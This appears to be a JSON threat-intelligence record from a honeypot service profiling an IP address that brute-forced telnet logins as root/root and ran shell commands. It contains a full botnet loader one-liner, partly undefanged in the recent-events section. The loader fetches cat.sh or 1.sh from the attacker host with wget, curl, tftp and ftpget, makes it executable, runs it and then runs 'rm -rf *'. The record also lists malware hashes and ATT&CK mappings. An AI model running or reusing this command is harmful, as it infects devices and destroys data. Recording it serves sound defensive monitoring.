{"ip":"91.92.43.221","data_as_of":"2026-10-26T21:47:25+00:00","observed":true,"total_events":12,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"1 loader / command-injection payload(s)","confidence":"high","network_type":"CDN","why":["1 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","The same evidence places an address in the public exploiter feed.","One request that fetches a botnet binary is exploitation on its own, whatever the event count.","Not in any known-scanner range.","Sent 8,522 bytes, which is sustained payload delivery.","Held a session open for 90s, against a median of well under a second.","Counts include 55 interactive session(s) as well as first-packet events.","Interactive sessions: 3 interactive session(s) ran commands after logging in."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"8,522 bytes sent, longest session 90s","bytes_sent":8522,"session_seconds":90,"persistent":true},"basis":"combined"},"first_seen":"2026-10-15T23:09:31","last_seen":"2026-10-23T16:13:19","events_24h":0,"events_7d":0,"interactive_sessions":55,"interactive_sessions_24h":0,"interactive_sessions_7d":51,"interactive_protocols":[{"protocol":"telnet","sessions":52},{"protocol":"ssh","sessions":2}],"geo":{"country_code":"DE","country_name":"Germany","region":"Hesse","city":"Frankfurt am Main","lat":50.1162,"lon":8.6693,"asn":207043,"org":"Dedik Services Limited"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as207043","label":"DEDIK SERVICES LIMITED","category":"cdn","url":"https://www.peeringdb.com/asn/207043"},"cve_matches":[],"malware":[{"sha256":"2923ea4ee6579db31e6fb4e28c12b39785ed25d8a5994a7c8f3de199f7933f9a","family":"shell","vt_name":"cat.sh","malicious":25,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":23,"hits":2,"last_seen":"2026-10-21 21:10:39"},{"sha256":"137dd2d597788a6d2ec395126fafadc3fa3522f78494dada1d3910b772be48b3","family":"medusa","vt_name":"1.sh","malicious":39,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":23,"hits":2,"last_seen":"2026-10-15 23:09:31"}],"udp":null,"interaction":{"window_days":90,"sessions":55,"first_seen":"2026-10-15T23:09:31","last_seen":"2026-10-23T16:13:19","verdicts":[{"verdict":"unknown","sessions":50},{"verdict":"post-exploitation","sessions":3},{"verdict":"credential","sessions":2}],"personas":[{"persona":"linux-ubuntu@20.04","sessions":47},{"persona":"linux-ubuntu@24.04","sessions":7}],"services":[{"protocol":"telnet","port":23,"sessions":52},{"protocol":"ssh","port":22,"sessions":2},{"protocol":"tcp","port":6001,"sessions":1}],"logins":[{"username":"root","password":"root","password_sent":true,"service":"telnet","outcome":"success","tries":3,"last_seen":"2026-10-23T15:15:45"},{"username":"root","password":"","password_sent":true,"service":"telnet","outcome":"failure","tries":2,"last_seen":"2026-10-23T15:15:43"}],"commands":[{"ts":"2026-10-23T15:15:48","session_id":"83ab499f-1438-4a88-a611-63716a75ba87","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"./","exit_code":126},{"ts":"2026-10-23T15:15:47","session_id":"83ab499f-1438-4a88-a611-63716a75ba87","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"cat /proc","exit_code":1},{"ts":"2026-10-23T15:15:46","session_id":"83ab499f-1438-4a88-a611-63716a75ba87","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox TEST","exit_code":127},{"ts":"2026-10-23T15:15:46","session_id":"83ab499f-1438-4a88-a611-63716a75ba87","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget [http]://91[.]92[.]43[.]221/cat.sh; curl -O [http]://91[.]92[.]43[.]221/cat.sh; chmod 777 cat.sh; sh cat.sh; tftp 91[.]92[.]43[.]221 -c get cat.sh; chmod 777 cat.sh; sh cat.sh; tftp -r cat.sh -g 91[.]92[.]43[.]221; chmod 777 cat.sh; sh cat.sh; ftpget -v -u anonymous -p anonymous -P 21 91[.]92[.]43[.]221 cat.sh cat.sh; sh cat.sh; rm -rf cat.sh cat.sh cat.sh cat.sh; rm -rf *","exit_code":0},{"ts":"2026-10-21T21:10:39","session_id":"2d282cd9-fb84-423e-af3d-5b94e2530657","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"./","exit_code":126},{"ts":"2026-10-21T21:10:38","session_id":"2d282cd9-fb84-423e-af3d-5b94e2530657","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"cat /proc","exit_code":1},{"ts":"2026-10-21T21:10:38","session_id":"2d282cd9-fb84-423e-af3d-5b94e2530657","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox TEST","exit_code":127},{"ts":"2026-10-21T21:10:37","session_id":"2d282cd9-fb84-423e-af3d-5b94e2530657","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget [http]://91[.]92[.]43[.]221/cat.sh; curl -O [http]://91[.]92[.]43[.]221/cat.sh; chmod 777 cat.sh; sh cat.sh; tftp 91[.]92[.]43[.]221 -c get cat.sh; chmod 777 cat.sh; sh cat.sh; tftp -r cat.sh -g 91[.]92[.]43[.]221; chmod 777 cat.sh; sh cat.sh; ftpget -v -u anonymous -p anonymous -P 21 91[.]92[.]43[.]221 cat.sh cat.sh; sh cat.sh; rm -rf cat.sh cat.sh cat.sh cat.sh; rm -rf *","exit_code":0},{"ts":"2026-10-15T23:09:29","session_id":"ac5f2a09-8afd-4c7d-93a3-4d38088d0a3f","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget [http]://91[.]92[.]43[.]221/1.sh; curl -O [http]://91[.]92[.]43[.]221/1.sh; chmod 777 1.sh; sh 1.sh; tftp 91[.]92[.]43[.]221 -c get 1.sh; chmod 777 1.sh; sh 1.sh; tftp -r 3.sh -g 91[.]92[.]43[.]221; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 91[.]92[.]43[.]221 2.sh 2.sh; sh 2.sh; rm -rf 1.sh 1.sh 3.sh 2.sh; rm -rf *","exit_code":0}],"downloads":[{"url":"[tftp]://91[.]92[.]43[.]221","host":"91[.]92[.]43[.]221","sessions":3,"first_seen":"2026-10-15T23:09:31","last_seen":"2026-10-23T15:15:48","virustotal":null},{"url":"cat[.]sh","host":"","sessions":2,"first_seen":"2026-10-21T21:10:39","last_seen":"2026-10-23T15:15:48","virustotal":null},{"url":"[http]://91[.]92[.]43[.]221/cat.sh","host":"91[.]92[.]43[.]221","sessions":2,"first_seen":"2026-10-21T21:10:39","last_seen":"2026-10-23T15:15:48","virustotal":{"sha256":"2923ea4ee6579db31e6fb4e28c12b39785ed25d8a5994a7c8f3de199f7933f9a","status":"known","malicious":25,"total":75,"name":"cat.sh"}},{"url":"3[.]sh","host":"","sessions":1,"first_seen":"2026-10-15T23:09:31","last_seen":"2026-10-15T23:09:31","virustotal":null},{"url":"[http]://91[.]92[.]43[.]221/1.sh","host":"91[.]92[.]43[.]221","sessions":1,"first_seen":"2026-10-15T23:09:31","last_seen":"2026-10-15T23:09:31","virustotal":{"sha256":"137dd2d597788a6d2ec395126fafadc3fa3522f78494dada1d3910b772be48b3","status":"known","malicious":39,"total":75,"name":"1.sh"}}],"files":[{"sha256":"663cfb5c2e3ba095017c98fb2ab99a30a85dc34103dbbb0d92bd5074c8af594e","name":"cat.sh","size":26,"mime_type":"text/plain","kind":"downloaded","times":4,"first_seen":"2026-10-21T21:10:37","last_seen":"2026-10-23T15:15:46","virustotal":null},{"sha256":"326ad7c6f7a26859661dfaa565f70dcc6070f748c324122329870ee695ea6322","name":"cat.sh","size":294,"mime_type":"text/x-shellscript","kind":"executed","times":4,"first_seen":"2026-10-21T21:10:37","last_seen":"2026-10-23T15:15:46","virustotal":null},{"sha256":"8157b24cd61306d69f46ed34440836389327aae1a464b422f6b84ebb4bf22d8e","name":"cat.sh","size":294,"mime_type":"text/x-shellscript","kind":"executed","times":4,"first_seen":"2026-10-21T21:10:37","last_seen":"2026-10-23T15:15:46","virustotal":null},{"sha256":"bc97ed69132a4da61de3213038a0970213da95f1520cbb8170c99d6fa8cf0670","name":"91.92.43.221","size":19,"mime_type":"text/plain","kind":"downloaded","times":3,"first_seen":"2026-10-15T23:09:29","last_seen":"2026-10-23T15:15:46","virustotal":null},{"sha256":"45b72db596e1325ed3ece5346fd85f52dc846bfb777991978ee0b3143bac1fbd","name":"cat.sh","size":6,"mime_type":"text/plain","kind":"downloaded","times":2,"first_seen":"2026-10-21T21:10:37","last_seen":"2026-10-23T15:15:46","virustotal":null},{"sha256":"fdd6ab8a9a07e7bc8ec33ce7e9db6598d5cbda3ad37717ed2edd7e048afa57a1","name":"1.sh","size":24,"mime_type":"text/plain","kind":"downloaded","times":2,"first_seen":"2026-10-15T23:09:29","last_seen":"2026-10-15T23:09:29","virustotal":null},{"sha256":"402c868be1ca492f03beca463591dedb8cfa9df67fcf893ff3f28b15bc63c17a","name":"1.sh","size":294,"mime_type":"text/x-shellscript","kind":"executed","times":2,"first_seen":"2026-10-15T23:09:29","last_seen":"2026-10-15T23:09:29","virustotal":null},{"sha256":"3d780be1a4548d6fb83d27c69f70703abb8aae635439ebd6c181b05a308f8862","name":"3.sh","size":4,"mime_type":"text/plain","kind":"downloaded","times":1,"first_seen":"2026-10-15T23:09:29","last_seen":"2026-10-15T23:09:29","virustotal":null},{"sha256":"2c5898ca3704d8c61c90747f12462fbb29708654f3ac7e002949c912182a46a4","name":"3.sh","size":294,"mime_type":"text/x-shellscript","kind":"executed","times":1,"first_seen":"2026-10-15T23:09:29","last_seen":"2026-10-15T23:09:29","virustotal":null}],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":3},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":3},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":5},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":3}]},"top_ports":[{"port":23,"proto":"tcp","label":"Telnet","count":0,"sessions":52},{"port":22,"proto":"tcp","label":"SSH","count":11,"sessions":2},{"port":6001,"proto":"tcp","label":"","count":1,"sessions":1}],"fingerprints":{"ssh_hassh":["16443846184eafde36765c9bab2f4397"],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"16443846184eafde36765c9bab2f4397":45},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-15","count":0,"sessions":1},{"date":"2026-10-16","count":11,"sessions":2},{"date":"2026-10-19","count":1,"sessions":1},{"date":"2026-10-21","count":0,"sessions":25},{"date":"2026-10-23","count":0,"sessions":26}],"recent_events":[{"timestamp":"2026-10-23T15:15:48","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"./","payload_hex":"2e2f","method":"","user_agent":"","ja3":"","session":"83ab499f-1438-4a88-a611-63716a75ba87-9","seq":9,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-23T15:15:47","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"cat /proc","payload_hex":"636174202f70726f63","method":"","user_agent":"","ja3":"","session":"83ab499f-1438-4a88-a611-63716a75ba87-7","seq":7,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"cd61cb016d814c48","strings":["cat /proc"]},"interactive":true},{"timestamp":"2026-10-23T15:15:46","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox TEST","payload_hex":"2f62696e2f62757379626f782054455354","method":"","user_agent":"","ja3":"","session":"83ab499f-1438-4a88-a611-63716a75ba87-5","seq":5,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"2c7aab7eb9086730","strings":["/bin/busybox TEST"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-23T15:15:46","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"echo cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.92.43.221/cat.sh; curl -O http://91.92.43.221/cat.sh; chmod 777 cat.sh; sh cat.sh; tftp 91.92.43.221 -c get cat.sh; chmod 777 cat.sh; sh cat.sh; tftp -r cat.sh -g 91.92.43.221; chmod 777 cat.sh; sh cat.sh; ftpget -v -u anonymous -p anonymous -P 21 91.92.43.221 cat.sh cat.sh; sh cat.sh; rm -rf cat.sh cat.sh cat.sh cat.sh; rm -rf *","payload_hex":"6563686f206364202f746d70207c7c206364202f7661722f72756e207c7c206364202f6d6e74207c7c206364202f726f6f74207c7c206364202f3b207767657420687474703a2f2f39312e39322e34332e3232312f6361742e73683b206375726c202d4f20687474703a2f2f39312e39322e34332e3232312f6361742e73683b2063686d6f6420373737206361742e73683b207368206361742e73683b20746674702039312e39322e34332e323231202d6320676574206361742e73683b2063686d6f6420373737206361742e73683b207368206361742e73683b2074667470202d72206361742e7368202d672039312e39322e34332e3232313b2063686d6f6420373737206361742e73683b207368206361742e73683b20667470676574202d76202d7520616e6f6e796d6f7573202d7020616e6f6e796d6f7573202d502032312039312e39322e34332e323231206361742e7368206361742e73683b207368206361742e73683b20726d202d7266206361742e7368206361742e7368206361742e7368206361742e73683b20726d202d7266202a","method":"","user_agent":"","ja3":"","session":"83ab499f-1438-4a88-a611-63716a75ba87-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"404743dc4f661058","strings":["echo cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.92.43…"],"iocs":{"urls":["http://91.92.43…"],"paths":["/var/run"]}},"interactive":true},{"timestamp":"2026-10-23T15:15:45","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"root","payload_hex":"726f6f74","method":"","user_agent":"","ja3":"","session":"83ab499f-1438-4a88-a611-63716a75ba87-2","seq":2,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"dc76e9f0c0006e8f","strings":["root"]},"interactive":true},{"timestamp":"2026-10-23T15:15:45","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"root","payload_hex":"726f6f74","method":"","user_agent":"","ja3":"","session":"83ab499f-1438-4a88-a611-63716a75ba87-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"dc76e9f0c0006e8f","strings":["root"]},"interactive":true},{"timestamp":"2026-10-23T15:15:43","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"","payload_hex":"","method":"","user_agent":"","ja3":"","session":"73f83c35-930f-4297-b941-1da5a8841725-2","seq":2,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-23T15:15:43","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"root","payload_hex":"726f6f74","method":"","user_agent":"","ja3":"","session":"73f83c35-930f-4297-b941-1da5a8841725-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"dc76e9f0c0006e8f","strings":["root"]},"interactive":true},{"timestamp":"2026-10-21T21:10:39","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"./","payload_hex":"2e2f","method":"","user_agent":"","ja3":"","session":"2d282cd9-fb84-423e-af3d-5b94e2530657-9","seq":9,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-21T21:10:38","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"cat /proc","payload_hex":"636174202f70726f63","method":"","user_agent":"","ja3":"","session":"2d282cd9-fb84-423e-af3d-5b94e2530657-7","seq":7,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"cd61cb016d814c48","strings":["cat /proc"]},"interactive":true}],"http_methods":[],"distinct_ports_total":3,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-Go","count":8}],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":3},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":3},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":3},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":5}]}